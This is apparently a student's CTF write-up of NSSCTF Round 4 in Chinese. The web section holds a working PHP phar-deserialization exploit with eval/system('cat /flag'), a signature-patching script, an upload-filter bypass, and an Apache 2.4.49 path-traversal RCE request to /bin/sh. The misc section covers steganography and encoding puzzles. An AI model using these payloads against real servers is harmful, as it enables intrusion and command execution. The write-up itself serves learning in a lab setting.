ysoseri.us

技术内容 / 本科的一些学习笔记和wp / 2022NSSCTFwp及复现

2022NSSCTFwp及复现

上午陪老人看病，赛题是下午比赛快结束了看见的

NSSRound#4难度确实比较友好

web

1zweb

出题人没吸取DASCTF非预期的教训，题刚放出来就被人秒了

直接/flag读取文件就能出

图片 1

1zweb（revenge）

phar反序列化

https://www.yuque.com/docs/share/a2afb4f1-764e-48fd-8634-bde11341da67?#

https://www.yuque.com/docs/share/cd2d3ad5-b628-45f0-9397-58ba727c2828?#

phar文件一般出现于存在文件上传点且有魔术方法作为跳板的反序列化题目

扫目录能扫到index.php和下面的login页面

直接查看index.php，然后看源码，发现下面一段代码

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt=<mark>"Misc"&&$this->dky</mark>="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/", $file)) {
    	die("nonono");
    }
    echo file_get_contents($file);
}

file_get_contents读phar文件时能能触发反序列化漏洞

满足dky=“Re”,ljt=“Misc”，就能执行cmd的任意代码

payload如下

<?php
  //unlink('phar.phar');也不知道为什么，去了这行就能跑，加上这行就疯狂报错
  class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
  }

  $a=new LoveNss();
  $a->cmd="system('cat /flag');";
  $a->ljt="Misc";
  $a->dky="Re";
  $phar = new Phar('phar.phar');
  $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  $phar->setMetadata($a);
  $phar->addFromString('1.txt','dky');
?>

图片 2

此时由于文件的二进制数据改变，签名也要随之改变

用以下代码生成新的1.phar以实现绕过

from hashlib import sha1
f = open('../phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('1.phar', 'wb').write(newf) # 写入新文件

再查看upload.php 的源码

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

后缀必须是图片，且内容不能出现phar标志

图片 3

可以压缩zip绕过，上传后用phar伪协议读取

这里的官方wp非常之不负责任，zip格式伪协议读取时只能读到1.phar的文件内容

图片 4

参考DAS的方法，用7z软件压缩成gz格式，成功执行cat命令

图片 5

踩坑点

1.phar文件的生成（php.ini关闭只读取消注释，unlink）
2.绕过_wakeup时签名不一致的问题
3.压缩上传时的压缩方式

print_r(scandir('../../../../etc/passwd'))

ez_rce

拿到题目只有It works!利用Wappalyzer查看发现是Apache2.4.49

其实就是个浏览器插件，但是需要去注册免费版的账户

图片 6

下了十几盘井字棋都没给我检测出啥有用的东西来。。

图片 7

dirsearch扫一下目录得到

图片 8

该版本存在目录穿越，直接抓包构造payload

图片 9

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
echo;ls /

存在漏洞，于是尝试查看根目录

图片 10

从前面可以得知，这里存在一个四层的文件夹迷宫，验证一下

图片 11

发回到intruder进行爆破，选择Clusterbomb模式

图片 12

这个burpsuite里的错位是真的难受，一直选中不对

爆破的时间还挺长，吃了顿饭还没爆破完

在返回长度位170处拿到flag

misc

由于官方wp十分不负责任，图片链接都没放，复现有困难，暂时搁置

Signin

  • 签到题，直接Docker hub上看flag

我的docker还没弄好，下次一定

pixel_signin

  • 拿到一个png图片，根据题目名字和观察，最低位明显有东西

  • 使用stegsolve ，在LSB通道下查看在全通道下看到完整数据

  • 观察发现是个单表加密，最后rot13解出

Type Message

  • 解压得到四个音频文件，听声音是电话按键，结合文件名搜索DTMF，找到一个在线解析网站,解的结果如下
    D

    T

    M

    F

  • 结合题目名和手机按键很容易想到9键输入法

  • 最后解得FLAG： NSSCTF DTMFIS REALLY EASY =》 NSSCTF{DTMFISREALLYEASY}

Knight’S Tour

  • 拿到ChessBoard.zip压缩包，发现打不开，拖进IDA里看一看
    好家伙，zip竟然是rar的头,直接修改头为\x50\x4b\x03\x04 就可以正常解压解压后得到图片
    观察分析，发现上面8x8的格子中正好对应下面的字母，应该是照顺序打乱了，结合题目Knight’s Tour,可以找到这样一个游戏根据游戏规则可以得到下面结果这里跟据第一列全为红色，每排有8个，只有两种颜色可以推测（脑洞）出红色代表0 黄色代表 1解出来为Ch1v@lry，即为flag